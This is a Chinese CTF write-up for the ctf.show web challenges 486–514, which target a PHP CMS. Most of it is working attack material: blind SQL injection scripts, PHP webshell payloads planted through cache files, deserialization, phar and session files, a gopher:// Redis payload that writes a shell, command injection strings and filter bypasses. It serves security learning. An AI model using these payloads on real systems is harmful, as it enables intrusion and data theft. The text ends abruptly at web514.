web486
根据报错信息提示,发现需要提供action参数,然后file_get_contents($_GET['action'].php)
?action=../flag
web487
利用上题任意文件读取看index.php源码
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
header('location:index.php?action=login');
}
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
这里存在sql注入,然后username处应该是有回显的,但可能题目有问题,回显不了。
使用盲注脚本
import requests
url = "http://df52edca-7258-4e0a-8b02-6943d7e6edd7.challenge.ctf.show/index.php?action=check"
result = ''
i = 0
proxy = {
'http':"http://127.0.0.1:8080"
}
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
payload = f'if(ascii(substr((select(group_concat(flag))from(ctfshow.flag)),{i},1))>{mid},1,0)'
data = {
'username': f"999')||{payload}#",
'password': "123"
}
r = requests.get(url,params=data,proxies=proxy)
if "admin" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
web488
分析下源码
render_class.php
<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
}
cache_class.php
<?php
class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}
}
在缓存文件功能处,存在任意写文件。
可以控制md5(error).php的内容,在username处写入内容。
?action=check&username=<?php eval($_POST[1]);?>&password=123
访问/cache/cb5e100e5a9a3e7f6d1fd97512215282.php
连接shell
web489
使用extract函数进行变量覆盖
index.php
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
extract($_GET);
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
直接覆盖sql语句来写shell,但是没有写权限
还是只能盲注
import requests
url = "http://ef0b4c73-1742-4596-951a-f359520c8d19.challenge.ctf.show/index.php?action=check"
result = ''
i = 0
proxy = {
'http':"http://127.0.0.1:8080"
}
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f"if(ascii(substr((select load_file('/flag')),{i},1))>'{mid}',sleep(0.6),1)"
data = {
'sql': f"select {payload}"
}
try:
r = requests.get(url,params=data,proxies=proxy, timeout=0.5)
tail = mid
except:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
web490
index.php
<?php
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}
if($action=='check'){
extract($_GET);
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$user->username));
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}
if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}
username处存在sql注入。
import requests
url = "http://34dbfb2d-2b7b-4ffc-9f66-c4f653c2116f.challenge.ctf.show//index.php?action=check"
result = ''
i = 0
proxy = {
'http':"http://127.0.0.1:8080"
}
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f"if(ascii(substr((select load_file('/flag')),{i},1))>'{mid}',1,0)"
data = {
'username': f"admin' or {payload}#",
'password': "123",
}
r = requests.get(url=url, params=data,proxies=proxy)
if '不存在' not in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
web491
同上
web492
对username做了正则匹配,只能为字母数字。
<?php
if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one_array($sql);
}
if($user){
templateUtil::render('index',$user);
}else{
templateUtil::render('error');
}
}
render/render_class.php
<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', '<!--'.$value.'-->', $templateContent);
}
return $templateContent;
}
}
先使用变量覆盖,控制$user
的值,再利用创建缓存文件来写入。
?action=check&user[username]=--><?php%20@eval($_POST[1]);?>
访问/cache/6a992d5529f459a44fee58c733255e86.php
连接shell即可。
web493
存在反序列化入口。
index.php
<?php
$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
$user=unserialize($c);
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}
找可以利用的destruct函数。
db_class.php
<?php
error_reporting(0);
class db{
public $db;
public $log;
public $sql;
public $username='root';
public $password='root';
public $port='3306';
public $addr='127.0.0.1';
public $database='ctfshow';
public function __construct(){
$this->log=new dbLog();
$this->db=$this->getConnection();
}
public function getConnection(){
return new mysqli($this->addr,$this->username,$this->password,$this->database);
}
public function select_one($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}
}
public function select_one_array($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_assoc();
}
}
public function __destruct(){
$this->log->log($this->sql);
}
}
class dbLog{
public $sql;
public $content;
public $log;
public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}
poc
<?php
class dbLog{
public $sql;
public $content;
public $log;
public function __construct(){
$this->log='/var/www/html/1.php';
$this->sql="";
$this->content="<?php @eval(\$_POST[1])?>";
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}
echo serialize(new dbLog());
url编码一下
Cookie: user=%4f%3a%35%3a%22%64%62%4c%6f%67%22%3a%33%3a%7b%73%3a%33%3a%22%73%71%6c%22%3b%73%3a%30%3a%22%22%3b%73%3a%37%3a%22%63%6f%6e%74%65%6e%74%22%3b%73%3a%32%34%3a%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3f%3e%22%3b%73%3a%33%3a%22%6c%6f%67%22%3b%73%3a%31%39%3a%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%7d;
web494
预期应该是sql注入绕过,但用上题payload的反序列化依然可以。
flag再数据库中。
<?php
$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
if(preg_match('/\:|\,/', $c)){
$user=unserialize($c);
}
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}
if($action=='check'){
extract($_GET);
if(!preg_match('/or|and|innodb|sys/i', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one_array($sql);
}
if($user){
setcookie('user',$user);
templateUtil::render('index',$user);
}else{
templateUtil::render('error');
}
}
web495
同上
<?php
$username=$_POST['username'];
$password=$_POST['password'];
if(!preg_match('/file|innodb|sys|mysql/i', $username)){
$sql = "select username,nickname from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one_array($sql);
}
web496
反序列化入口被注释掉了,只能sql注入了
<?php
$username=$_POST['username'];
$password=$_POST['password'];
if(!preg_match('/or|file|innodb|sys|mysql/i', $username)){
$sql = "select username,nickname from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one_array($sql);
}
但是这里因为过滤了总表,没法查询表名和列名。(在知道的情况下可以注入)
import requests
url = "http://b078dfb1-17d3-4a27-bd57-c72019b486da.challenge.ctf.show/index.php?action=check"
result = ''
i = 0
proxy = {
'http':"http://127.0.0.1:8080"
}
while True:
i = i + 1
head = 32
tail = 127
#print(i)
while head < tail:
mid = (head + tail) >> 1
#print("mid",mid)
payload = f"if(ascii(substr((select flagisherebutyouneverknow118 from flagyoudontknow76),{i},1))>'{mid}',1,0)"
data = {
'username': f"123' || {payload}#",
'password': "123",
}
r = requests.post(url=url, data=data,proxies=proxy,allow_redirects=False)
#print(r.status_code)
if 302 == r.status_code:
head = mid + 1
#print("in the right")
else:
tail = mid
#print("in the left")
if head != 32:
result += chr(head)
else:
break
print(result)
使用万能账号登录进后台后,有一个更新密码功能。
admin_edit.php
<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
$sql = "update user set nickname='".substr($nickname, 0,8)."' where username='".$user['username']."'";
$db=new db();
if($db->update_one($sql)){
$_SESSION['user']['nickname']=$nickname;
$ret['msg']='管理员信息修改成功';
}else{
$ret['msg']='管理员信息修改失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
这里没有过滤,存在update型注入
import requests
import string
url="http://b078dfb1-17d3-4a27-bd57-c72019b486da.challenge.ctf.show"
s=string.ascii_lowercase+string.digits+",{-}"
sess=requests.session()
sess.post(url+"?action=check",data={"username":"1'||1#","password":1})
flag=""
for i in range(9,70):
print(i)
for j in s:
data={
'nickname':str(i*2)+str(j), #不让nickname重复就行
#'user[username]':"1'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))={1},1,0)#".format(i,j)
#'user[username]':"1'||if(substr((select group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(i,j)
'user[username]':"1'||if(substr((select flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(i,j)
}
r=sess.post(url+"/api/admin_edit.php",data=data)
if("u529f" in r.text):
flag+=j
print(flag)
break
web497
使用万能账号登录后台
上传图片处存在ssrf漏洞。
render_class.php
<?php
public static function checkImage($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{img:'.$key.'}}')){
$encode='';
if(file_exists(__DIR__.'/../cache/'.md5($value))){
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
}else{
$ch=curl_init($value);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
$ret=chunk_split(base64_encode($result));
$encode = 'data:image/jpg/png/gif;base64,' . $ret;
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
}
$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
}
}
payload
file:///flag
web498
同上存在ssrf,但是需要用ssrf打redis
使用poc
dict://127.0.0.1:6379
根据返回值发现存在redis服务
使用Gopherus生成payload
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2429%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
连接shell.php,flag在根目录。
web499
登录后台,系统配置功能处,能修改配置信息。
注入php代码进/config/settings.php
web500
修改了配置文件的后缀,无法解析了。
admin_settings.php
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($_POST as $key => $value) {
$config[$key]=$value;
}
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='管理员信息修改成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
查看数据管理的数据库备份功能处
/api/admin_db_backup
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path);
if(file_exists(__DIR__.'/../backup/'.$db_path)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
这里存在命令注入
db.zip&&cat /flag_bei_ni_fa_xian_le >1.txt
web501
命令注入处添加了正则匹配,还是可以注入。
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(preg_match('/^zip|tar|sql$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format);
if(file_exists(__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'.'.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
payload
db_format=zip;cat /flag_bei_ni_fa_xian_le >1.txt
web502
系統配置功能处存在文件上传,且只有前台校验文件类型。
api/admin_upload.php
<?php
$arr = $_FILES["file"];
if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
{
$arr["tmp_name"];
$filename = md5($arr['name']);
$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
if(!preg_match('/^php$/i', $ext)){
$basename = "../img/".$filename.'.' . $ext;
move_uploaded_file($arr["tmp_name"],$basename);
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$config['logo']=$filename.'.' . $ext;
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='文件上传成功';
}
}else{
$ret['msg']='文件上传失败';
}
die(json_encode($ret));
后台会校验,不让后缀为php,考虑用其他后缀来绕过,单发现都不解析。。。
上传文件路径为/img/md5("filename").phtml
也可以在config/settings
中看到路径
发现之前的命令注入处依然可以利用
api/admin_db_backup.php
<?php
session_start();
include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
die(json_encode($ret));
}
if(preg_match('/^(zip|tar|sql)$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.$pre.$db_format);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
正则添加括号后,无法再绕过了,但是多了一个pre参数可以利用。
db_format=zip&pre=1;cat /flag_bei_ni_fa_xian_le > /var/www/html/1.txt;echo
web503
api/admin_db_backup.php
<?php
extract($_POST);
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
die(json_encode($ret));
}
if(preg_match('/^(zip|tar|sql)$/', $db_format)){
shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format));
if(file_exists($pre.$db_format)){
$ret['msg']='数据库备份成功';
}else{
$ret['msg']='数据库备份失败';
}
}else{
$ret['msg']='数据库备份失败';
}
die(json_encode($ret));
这里使用md5的方式,无法进行注入了。
存在file_exists函数,并且网站logo处存在任意文件上传。
可以考虑使用phar://反序列化。参考文章php反序列化拓展攻击详解--phar
生成phar包
<?php
class dbLog{
public $sql;
public $content="<?php @eval(\$_POST[1])?>";
public $log="/var/www/html/1.php";
}
$c=new dbLog();
$phar = new Phar("ctfshow.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c); //将自定义meta-data存入manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();
?>
修改名为png上传
再数据库备份功能处,触发发序列化
访问shell即可获得flag。
web504
增加了模板管理功能。
在新增模板功能处存在任意文件上传,且存在目录穿越。
利用/api/admin_settings.php
中的/config/settings来触发反序列化。
上传文件
name=../config/settings&content=%4f%3a%35%3a%22%64%62%4c%6f%67%22%3a%33%3a%7b%73%3a%33%3a%22%73%71%6c%22%3b%73%3a%30%3a%22%22%3b%73%3a%37%3a%22%63%6f%6e%74%65%6e%74%22%3b%73%3a%32%34%3a%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3f%3e%22%3b%73%3a%33%3a%22%6c%6f%67%22%3b%73%3a%31%39%3a%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%7d;
访问/api/admin_settings.php
连接1.php
web505
增加了一个文件查看功能,用来看源码。
api/admin_file_view.php
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
这里存在一个文件包含
上传文件后
f=/var/www/html/img/4a47a0db6e60853dedfcfdf08a5ca249.png&debug=1&1=system('cat /flag_is_here_aabbcc');
web506
api/admin_file_view.php
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
$ext = substr($f, strlen($f)-3,3);
if(preg_match('/php|sml|phar/i', $ext)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
增加了限制,文件名后缀不能为php,sml,phar
用上题方法依然可以
web507
web508
同上
web509
api/admin_file_view.php
<?php
session_start();
error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>0,
"data"=>array()
);
if($user){
extract($_POST);
if(preg_match('/php|sml|phar|\:|data|file/i', $f)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));
}else{
$ret['msg']='请登录后使用此功能';
die(json_encode($ret));
}
又增加了一些过滤,但还是可以利用。
文件上传处,对内容也做了过滤
api/admin_upload.php
<?php
$arr = $_FILES["file"];
if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
{
$arr["tmp_name"];
$filename = md5($arr['name']);
$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
if(!preg_match('/^php$/i', $ext)){
if(preg_match('/php|sml|phar|\:|data|file/i', file_get_contents($arr["tmp_name"]))){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
$basename = "../img/".$filename.'.' . $ext;
move_uploaded_file($arr["tmp_name"],$basename);
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$config['logo']=$filename.'.' . $ext;
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='文件上传成功';
}
}else{
$ret['msg']='文件上传失败';
}
使用短标签,绕过php
关键字
user<?= @eval($_POST[1]);?>
web510
api/admin_upload.php
<?php
$arr = $_FILES["file"];
if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
{
$arr["tmp_name"];
$filename = md5($arr['name']);
$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);
if(!preg_match('/^php$/i', $ext)){
if(preg_match('/php|sml|phar|\:|data|file|<|>|\`|\?|=/i', file_get_contents($arr["tmp_name"]))){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
$basename = "../img/".$filename.'.' . $ext;
move_uploaded_file($arr["tmp_name"],$basename);
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$config['logo']=$filename.'.' . $ext;
file_put_contents(__DIR__.'/../config/settings', serialize($config));
$ret['msg']='文件上传成功';
}
}else{
$ret['msg']='文件上传失败';
}
现在基本上内容全过滤了,无法绕过。
查看session文件发现刚好满足,user开头的格式,并且内容可控。
查看生成session代码
index.php
<?php
session_start();
include('render/render_class.php');
include('render/db_class.php');
$action=$_GET['action'];
...
switch ($action) {
case 'check':
$username=$_POST['username'];
$password=$_POST['password'];
if(!preg_match('/file|or|innodb|sys|mysql/i', $username)){
$sql = "select username,nickname,avatar from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one_array($sql);
}
if($user){
$_SESSION['user']=$user;
header('location:index.php?action=index');
}else{
templateUtil::render('error');
}
break;
case 'clear':
system('rm -rf cache/*');
die('cache clear');
break;
case 'login':
templateUtil::render($action);
break;
case 'index':
$user=$_SESSION['user'];
if($user){
templateUtil::render('index',$user);
}else{
header('location:index.php?action=login');
}
break;
case 'view':
$user=$_SESSION['user'];
if($user){
templateUtil::render($_GET['page'],$user);
}else{
header('location:index.php?action=login');
}
break;
case 'logout':
session_destroy();
header('location:index.php?action=login');
break;
default:
templateUtil::render($action);
break;
}
在基本资料处修改昵称为<?php @eval($_POST[1])?>
使用文件包含点
web511
sess也过滤了
api/admin_file_view.php
<?php
extract($_POST);
if(preg_match('/php|sml|phar|\:|data|file|sess/i', $f)){
$ret['msg']='请不要使用此功能';
die(json_encode($ret));
}
if($debug==1 && preg_match('/^user/', file_get_contents($f))){
include($f);
}else{
$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
}
$ret['msg']='查看成功';
die(json_encode($ret));
查看模板渲染代码
render/render_class.php
<?php
include('file_class.php');
include('cache_class.php');
class templateUtil {
public static function render($template,$arg=array()){
$templateContent=fileUtil::read('templates/'.$template.'.sml');
$cache=templateUtil::shade($templateContent,$arg);
echo $cache;
}
public static function shade($templateContent,$arg=array()){
$templateContent=templateUtil::checkImage($templateContent,$arg);
$templateContent=templateUtil::checkConfig($templateContent);
$templateContent=templateUtil::checkVar($templateContent,$arg);
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}
public static function checkImage($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
if(preg_match('/gopher|file/i', $value)){
$templateContent=str_replace('{{img:'.$key.'}}', '', $templateContent);
}
if(stripos($templateContent, '{{img:'.$key.'}}')){
$encode='';
if(file_exists(__DIR__.'/../cache/'.md5($value))){
$encode=file_get_contents(__DIR__.'/../cache/'.md5($value));
}else{
$ch=curl_init($value);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
$ret=chunk_split(base64_encode($result));
$encode = 'data:image/jpg/png/gif;base64,' . $ret;
file_put_contents(__DIR__.'/../cache/'.md5($value), $encode);
}
$templateContent=str_replace('{{img:'.$key.'}}', $encode, $templateContent);
}
}
return $templateContent;
}
public static function checkConfig($templateContent){
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
foreach ($config as $key => $value) {
if(stripos($templateContent, '{{config:'.$key.'}}')){
$templateContent=str_replace('{{config:'.$key.'}}', $value, $templateContent);
}
}
return $templateContent;
}
public static function checkVar($templateContent,$arg){
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{var:'.$key.'}}')){
eval('$v='.$value.';');
$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
}
}
return $templateContent;
}
}
checkVar
函数中有eval
函数,考虑利用它来命令执行。
这里要通过stripos
函数,所以需要在标签前加其他字符。
使用新增模板功能
new.sml
123{{var:nickname}}
更改昵称为
`cat /flag_is_here_sf`
访问模板
/index.php?action=view&page=new
web512
checkVar函数处增加了过滤
<?php
public static function checkVar($templateContent,$arg){
$db=new db();
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{var:'.$key.'}}')){
if(!preg_match('/\(|\[|\`|\'|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|require|GET|POST|COOKIE|SESSION|file/i', $value)){
eval('$v='.$value.';');
$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
}
}
}
return $templateContent;
}
使用EOF来绕过引号
1;
$a = <<<EOF
<?php includ
EOF;
$b = <<<EOF
e $
EOF;
$c = <<<EOF
_POS
EOF;
$d = <<<EOF
T{1}?>
EOF;
$e = <<<EOF
11.php
EOF;
$db->log->log=$e;
$db->log->content=$a.$b.$c.$d;
使用登录处的sql注入来绕过修改信息时的长度限制。
action=check&username=1'%20union%20select%20%22%31%3b%0a%24%61%20%3d%20%3c%3c%3c%45%4f%46%0a%3c%3f%70%68%70%20%69%6e%63%6c%75%64%0a%45%4f%46%3b%0a%24%62%20%3d%20%3c%3c%3c%45%4f%46%0a%65%20%24%0a%45%4f%46%3b%0a%24%63%20%3d%20%3c%3c%3c%45%4f%46%0a%5f%50%4f%53%0a%45%4f%46%3b%0a%24%64%20%3d%20%3c%3c%3c%45%4f%46%0a%54%7b%31%7d%3f%3e%0a%45%4f%46%3b%0a%24%65%20%3d%20%3c%3c%3c%45%4f%46%0a%31%31%2e%70%68%70%0a%45%4f%46%3b%0a%24%64%62%2d%3e%6c%6f%67%2d%3e%6c%6f%67%3d%24%65%3b%0a%24%64%62%2d%3e%6c%6f%67%2d%3e%63%6f%6e%74%65%6e%74%3d%24%61%2e%24%62%2e%24%63%2e%24%64%3b%22%2c2%2c3%23&password=123&random=1
创建模板文件
123{{var:username}}
访问模板文件后,生成11.php
web513
render/render_class.php
<?php
public static function checkVar($templateContent,$arg){
$db=new db();
foreach ($arg as $key => $value) {
if(stripos($templateContent, '{{var:'.$key.'}}')){
if(!preg_match('/\(|\[|\`|\'|\$|\_|\<|\?|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|GET|POST|COOKIE|SESSION|file/i', $value)){
eval('$v='.$value.';');
$templateContent=str_replace('{{var:'.$key.'}}', $v, $templateContent);
}
}
}
return $templateContent;
}
public static function checkFoot($templateContent){
if ( stripos($templateContent, '{{cnzz}}')) {
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$foot = $config['cnzz'];
if(is_file($foot)){
$foot=file_get_contents($foot);
include($foot);
}
}
return $templateContent;
}
checkVar函数又增加了过滤,无法绕过。
增加了一个checkFoot函数。
修改昵称为
<?=`cat /f*`?>
创建模板文件path.sml
/tmp/sess_tjr3uviphhcn9f3cocfi77gl37
创建模板文件new.sml
123{{cnzz}}
修改系统配置中页面统计处为/var/www/html/templates/path.sml
访问/index.php?action=view&page=new
触发checkFoot函数即可。
web514
checkFoot函数也增加了过滤
<?php
public static function checkFoot($templateContent){
if ( stripos($templateContent, '{{cnzz}}')) {
$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
$foot = $config['cnzz'];
if(is_file($foot)){
$foot=file_get_contents($foot);
if(!preg_match('/<|>|\?|=|php|sess|log|phar|\.|\[|\{|\(|_/', $foot)){
include($foot);
}
}
}
return $templateContent;
}
创建模板文件path.sml
/var/www/html/config/settings
创建模板文件new.sml
